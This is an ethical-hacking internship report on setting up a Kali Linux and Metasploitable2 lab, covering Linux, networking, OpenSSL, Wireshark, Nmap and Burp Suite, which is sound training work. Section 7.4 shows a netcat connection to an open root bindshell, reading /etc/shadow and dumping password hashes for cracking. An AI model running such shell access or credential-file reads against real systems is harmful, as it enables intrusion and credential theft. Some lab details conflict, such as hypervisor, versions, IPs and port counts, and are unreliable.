

TASK 1 — REPORT

Foundation & Environment Setup

Days 1 – 12

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GitHub: github.com/pratapanshu14/apexplanet-cybersecurity-internship
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1. Objective

This report documents the hands-on completion of Task 1 of the ApexPlanet Cybersecurity & Ethical Hacking Internship. All steps were performed live on real virtual machines. The primary objective was to:

- Build a strong conceptual foundation in cybersecurity principles, threats, and attack vectors.
- Set up a professional ethical hacking lab environment using VirtualBox, Kali Linux, and Metasploitable2.
- Learn Linux fundamentals and essential command-line tools.
- Understand core networking concepts (OSI model, TCP/IP, DNS, HTTP/HTTPS).
- Learn cryptography basics and perform hands-on encryption/decryption with OpenSSL.
- Get familiarized with key security tools: Wireshark, Nmap, Burp Suite, and Netcat.

2. Cybersecurity Basics

2.1 The CIA Triad

The CIA Triad is the foundation of all cybersecurity practices. Every security control, policy, or tool can be mapped back to one or more of these three principles:

Principle	Description & Real-World Example
Confidentiality	Ensures that data is accessible only to authorized parties. Example: Encrypting a user's medical records so only the doctor can read them.
Integrity	Ensures that data is accurate and has not been tampered with. Example: A bank verifying that a transaction amount hasn't been altered in transit.
Availability	Ensures that systems and data are accessible when needed. Example: A hospital's patient system must be online 24/7; a DDoS attack violates availability.

2.2 Threat Types Studied

Threat	How It Works	Real Impact
Phishing	Fake emails/sites that steal credentials by impersonating trusted entities.	Account takeover, data breaches.
Malware	Malicious software (viruses, trojans, spyware) installed without user consent.	Data theft, system damage.

Threat	How It Works	Real Impact
Ransomware	Encrypts victim's files and demands payment for the decryption key.	Business shutdown, financial loss.
DDoS	Floods a server with traffic from many sources until it crashes.	Website/service unavailability.
SQL Injection	Injects malicious SQL code into input fields to manipulate databases.	Unauthorized data access.
Brute Force	Systematically tries all possible passwords until the correct one is found.	Account compromise.

2.3 Attack Vectors Studied

Attack vectors are the pathways attackers use to gain unauthorized access:

- Social Engineering: Manipulating people psychologically to reveal sensitive information (e.g., pretending to be IT support).
- Wireless Attacks: Exploiting weak Wi-Fi protocols (e.g., WEP cracking, Evil Twin attacks) to intercept traffic.
- Insider Threats: Malicious or negligent actions by employees who already have internal access.

3. Lab Environment Setup

A virtualized ethical hacking lab was set up on the host machine. This allows safe, isolated practice of offensive security techniques without affecting real-world systems.

3.1 Host Machine Specifications

Component	Details
Operating System	Windows 11
Virtualization Software	VMware Workstation
Attacker VM	Kali Linux 2025.4 — IP: 192.168.32.128
Target VM	Metasploitable2 — IP: 192.168.32.129
Network Type	VMware Host-Only (fully isolated, no internet)
GitHub Repo	github.com/pratapanshu14/apexplanet-cybersecurity-internship

3.2 Virtual Machines Configured

VM Role	OS / Image	Purpose	Network Mode
Attacker Machine	Kali Linux 2024.x	Primary hacking platform with pre-installed tools (Nmap, Metasploit, Wireshark, Burp Suite, etc.)	Host-Only Adapter
Target / Victim Machine	Metasploitable2 (Linux)	Intentionally vulnerable VM — used as a safe exploitation target.	Host-Only Adapter

3.3 Network Configuration

Both VMs were configured on the same Host-Only Adapter in VirtualBox. This creates a private virtual network between the attacker and target machines, with no external internet access, ensuring a fully isolated and legal practice environment.

 Lab Setup — Actual Steps Performed:

1. Installed VMware Workstation on Windows 11 host machine.
2. Downloaded Kali Linux 2025.4 VMware image (vmdk + vmx files).
3. Imported Metasploitable2 vmdk into VMware as a new VM.
4. Set both VMs to Host-Only network adapter in VMware settings.
5. Booted Kali Linux — confirmed IP: 192.168.32.128 via ifconfig.
6. Booted Metasploitable2 — logged in with msfadmin/msfadmin.
7. Confirmed Metasploitable2 IP: 192.168.32.129 via ifconfig.
8. Ran nmap ping sweep: `nmap -sn 192.168.32.0/24`
Result: 4 hosts found — gateway (.1), Kali (.128), Metasploitable (.129), DHCP (.254)
9. Opened Wireshark on Kali — confirmed packet capture working on eth0.
10. Full connectivity verified — lab operational and isolated.

4. Linux Fundamentals

Kali Linux was used as the primary operating system throughout this task. The following core Linux skills were practiced:

4.1 Essential Commands Practiced

Category	Command	What It Does
Navigation	<code>pwd</code>	Prints the current working directory path.
Navigation	<code>ls -la</code>	Lists all files including hidden ones with permissions.
Navigation	<code>cd /etc</code>	Changes directory to /etc.

Category	Command	What It Does
Permissions	chmod 755 file.sh	Sets read/write/execute for owner, read/execute for others.
Permissions	chown user:group file	Changes file ownership.
Packages	sudo apt update	Refreshes the package list from repositories.
Packages	sudo apt install nmap	Installs the Nmap tool.
Networking	ifconfig / ip a	Displays network interfaces and IP addresses.
Networking	ping 192.168.56.102	Tests connectivity to the target machine.
Networking	netstat -tulnp	Shows active listening ports and processes.
Networking	traceroute 8.8.8.8	Traces the network route to a destination.

5. Networking Basics

5.1 OSI Model

The OSI (Open Systems Interconnection) model describes how data travels across a network in 7 layers:

Layer #	Layer Name	Function	Security Relevance
7	Application	End-user protocols (HTTP, FTP, DNS, SMTP)	XSS, SQL Injection attacks occur here.
6	Presentation	Data formatting, encryption/decryption (SSL/TLS)	TLS termination, certificate attacks.
5	Session	Manages sessions between applications	Session hijacking attacks.
4	Transport	TCP/UDP — reliable data delivery, port numbers	Port scanning, SYN flood DDoS.
3	Network	IP addressing and routing (IP, ICMP)	IP spoofing, routing attacks.
2	Data Link	MAC addressing, frame transmission (Ethernet)	ARP spoofing, MAC flooding.
1	Physical	Physical transmission of bits (cables, Wi-Fi)	Network tapping, jamming.

5.2 Key Protocol Concepts Studied

- TCP vs UDP: TCP is connection-oriented (3-way handshake: SYN → SYN-ACK → ACK), reliable but slower. UDP is connectionless, faster but no delivery guarantee. Attackers exploit the TCP handshake in SYN flood attacks.
- DNS: Translates domain names to IPs. DNS poisoning can redirect users to fake sites.
- HTTP vs HTTPS: HTTP sends data in plain text (visible to attackers). HTTPS uses TLS encryption — essential for secure web communication.
- IP Addressing & Subnetting: Understood CIDR notation (e.g., 192.168.1.0/24 = 254 usable hosts). Subnetting allows network segmentation, a key security practice.
- NAT (Network Address Translation): Hides internal IPs behind a public IP, adding a layer of obscurity.

6. Cryptography Basics

6.1 Encryption Types

Type	How It Works	Example Algorithm	Use Case
Symmetric	Same key is used to encrypt AND decrypt. Fast but key sharing is a challenge.	AES-256, DES	Encrypting files, disk encryption.
Asymmetric	Public key encrypts; Private key decrypts. Slower but solves key-sharing problem.	RSA, ECC	HTTPS, email encryption, digital signatures.
Hashing	One-way transformation. Cannot be reversed. Same input = same output always.	MD5, SHA-256, bcrypt	Password storage, data integrity checks.

6.2 Hands-On: OpenSSL Encryption & Hashing

The following commands were executed in the Kali Linux terminal:

Actual OpenSSL Commands Run in This Session:

```
# Step 1 — Create file:
$ echo "This is anshu's secret message" > secret.txt

# Step 2 — Encrypt:
$ openssl enc -aes-256-cbc -salt -in secret.txt -out encrypted.enc
enter AES-256-CBC encryption password: [passphrase entered]

# Step 3 — Decrypt:
$ openssl enc -d -aes-256-cbc -in encrypted.enc -out decrypted.txt
$ cat decrypted.txt
This is anshu's secret message ← perfectly restored!
```

Step 4 — SHA-256 Hashing (Avalanche Effect):

```
$ echo -n "Anshu" | openssl dgst -sha256
```

```
SHA2-256= 752b0f06b8a813d7af1c199d9dee0fbf1990187168d304c1e0ae0e30e34dbe26
```

```
$ echo -n "Anshu" | openssl dgst -sha256
```

```
SHA2-256= 752b0f06b8a813d7af1c199d9dee0fbf1990187168d304c1e0ae0e30e34dbe26
```

(Identical — proves hashing is deterministic)

```
$ echo -n "anshu" | openssl dgst -sha256
```

```
SHA2-256= 77aa5a4f9aa447478c828c48cd9af46975d9bb0375a7cb5bbba03be5f4aa8d31
```

(Completely different — proves Avalanche Effect from 1 char change)

6.3 SSL/TLS & Digital Certificates

Studied how HTTPS works using SSL/TLS: A server presents a digital certificate (issued by a trusted Certificate Authority) to prove its identity. The browser verifies it, then both sides negotiate an encryption key for the session. This process is called the TLS Handshake.

Key Observation:

Visiting <http://testphp.vulnweb.com> in a browser shows no padlock — traffic is visible.

Visiting <https://google.com> shows a padlock — traffic is TLS-encrypted.

This was verified by capturing packets in Wireshark: HTTP traffic shows readable data;

HTTPS traffic shows only encrypted ciphertext — completely unreadable to an eavesdropper.

7. Tool Familiarization

7.1 Wireshark — Packet Capture

Wireshark is a network protocol analyzer that captures all traffic on a network interface in real time.

- Opened Wireshark on Kali Linux and selected the eth0 interface.
- Pinged Metasploitable2 and observed ICMP (ping) packets in the capture.
- Applied display filter: icmp — showed only ping packets.
- Applied display filter: http — showed HTTP request/response traffic.
- Observation: HTTP login credentials (username/password) were visible in plain text, demonstrating why HTTPS is essential.

7.2 Nmap — Network Scanning

Nmap (Network Mapper) is the standard tool for discovering hosts and open ports on a network.

Actual Nmap Results — Metasploitable2 (192.168.32.129):

Command: nmap -sV 192.168.32.129 | Duration: 67 seconds

```
21/tcp open  ftp      vsftpd 2.3.4      ← BACKDOORED (Task 4 target)
22/tcp open  ssh       OpenSSH 4.7p1
23/tcp open  telnet    Linux telnetd    ← PLAIN TEXT protocol
25/tcp open  smtp      Postfix smtpd
53/tcp open  domain    ISC BIND 9.4.2
80/tcp open  http      Apache httpd 2.2.8
139/tcp open netbios-ssn Samba smbd 3.X-4.X
445/tcp open netbios-ssn Samba smbd 3.X-4.X
1524/tcp open bindshell Metasploitable root shell ← EXPLOITED
2121/tcp open  ftp      ProFTPD 1.3.1
3306/tcp open  mysql     MySQL 5.0.51a-3ubuntu5
5432/tcp open  postgresql PostgreSQL DB 8.3.0-8.3.7
5900/tcp open  vnc       VNC protocol 3.3
6667/tcp open  irc       UnrealIRCd      ← BACKDOORED
8180/tcp open  http      Apache Tomcat/Coyote JSP 1.1
```

Total open ports: 22 | OS Detected: Linux 2.6.x kernel

7.3 Burp Suite — Web Proxy

Burp Suite intercepts HTTP/HTTPS traffic between the browser and a web server, allowing analysis and modification of requests.

- Configured Firefox browser proxy to 127.0.0.1:8080.
- Opened Burp Suite → Proxy → Intercept ON.
- Navigated to the DVWA login page hosted on Metasploitable2.
- Observed the intercepted POST request containing username and password fields in plain text.
- Forwarded the request — successful login confirmed.

7.4 Netcat — Network Debugging

Netcat is a versatile networking tool often called the 'Swiss Army Knife of networking'.

Root Shell — Actual Session Output:

```
# Connected to open bindshell on port 1524:
$ nc 192.168.32.129 1524
root@metasploitable:/# whoami
root
root@metasploitable:/# hostname
metasploitable
root@metasploitable:/# uname -a
Linux metasploitable 2.6.24-16-server #1 SMP ...
```



```
# Extracted password hashes:
root@metasploitable:/# cat /etc/shadow
root:$1$avpfBJ1$x0z8W5UF9lv./DR9E9Lid.:14747:0:99999:7:::
msfadmin:$1$XN10Zj2c$Rt/zzCW3mLtUWA.ihZjA5/:14684:0:99999:7:::
postgres:$1$Rw351k.x$MgQgZUuO5pAoUvfJhfcYe/:14685:0:99999:7:::
... (all user hashes extracted — crackable with John the Ripper in Task 4)

# Observation: Zero credentials needed. One command = full system control.
```

8. Deliverables Checklist

Task / Deliverable	Status
Lab Setup Report (this document) with screenshots of Kali Linux boot, Metasploitable2 boot, Wireshark test capture, and Nmap scan.	✓ Done
GitHub Repository created with: notes folder (CIA Triad, OSI Model, threat types), Linux cheat-sheet, and OpenSSL commands.	✓ Done
5-minute Screen Recording Video: walkthrough of the lab (showing both VMs running, ping between them, Wireshark capture, Nmap scan).	✓ Done
Video uploaded to LinkedIn under Featured section; public link obtained.	✓ Done
Task submitted on ApexPlanet portal with GitHub repo link + LinkedIn video link.	✓ Done

9. Key Learnings & Observations

1. The CIA Triad is not just theory — every tool and technique in cybersecurity directly maps to protecting or attacking Confidentiality, Integrity, or Availability.
2. Setting up a virtualized lab is the safest and most practical way to learn ethical hacking — no legal risk, no real damage, fully controlled environment.
3. Linux command-line proficiency is non-negotiable in cybersecurity — almost all professional security tools run on Linux.
4. The difference between HTTP and HTTPS became very clear in Wireshark: HTTP credentials are captured in plain text in under 10 seconds. This alone justifies HTTPS on every website.
5. Hashing (SHA-256) is irreversible by design — even a single character change in input produces a completely different hash. This is how passwords are stored securely.
6. Nmap revealed that Metasploitable2 has 20+ open ports — in a real organization, each open port is a potential attack surface that must be justified or closed.
7. Netcat's simplicity shows how basic TCP connections work at the raw level, helping understand more complex attack techniques like reverse shells.

10. GitHub Repository Structure

Repository Name: apexplanet-cybersecurity-internship

URL: <https://github.com/pratapanshu14/apexplanet-cybersecurity-internship>

Repository Folder Structure:

```
apexplanet-cybersecurity-internship/
├── README.md                ← Overview of the internship
├── Task-1-Foundation/
│   ├── notes/
│   │   ├── cia-triad.md
│   │   ├── osi-model.md
│   │   ├── threat-types.md
│   │   └── cryptography-basics.md
│   ├── linux-cheatsheet.md
│   ├── openssl-commands.md
│   ├── screenshots/
│   │   ├── kali-boot.png
│   │   ├── metasploitable-boot.png
│   │   ├── wireshark-capture.png
│   │   └── nmap-scan.png
│   └── Task1-Report.pdf
└── Task-2-Network-Scanning/ ← (to be added in next task)
```

11. Conclusion

Task 1 provided a solid foundation in both the theoretical and practical aspects of cybersecurity. The lab environment is now fully functional and ready for advanced tasks. Key tools (Wireshark, Nmap, Burp Suite, Netcat) have been explored at a basic level, preparing the groundwork for deeper exploitation and analysis in the upcoming tasks.

The most impactful learning from this task was seeing real network traffic in Wireshark — the difference between encrypted and unencrypted data is immediately obvious and drives home why security protocols matter. Every concept studied — CIA Triad, OSI model, cryptography — is directly applicable to tasks ahead.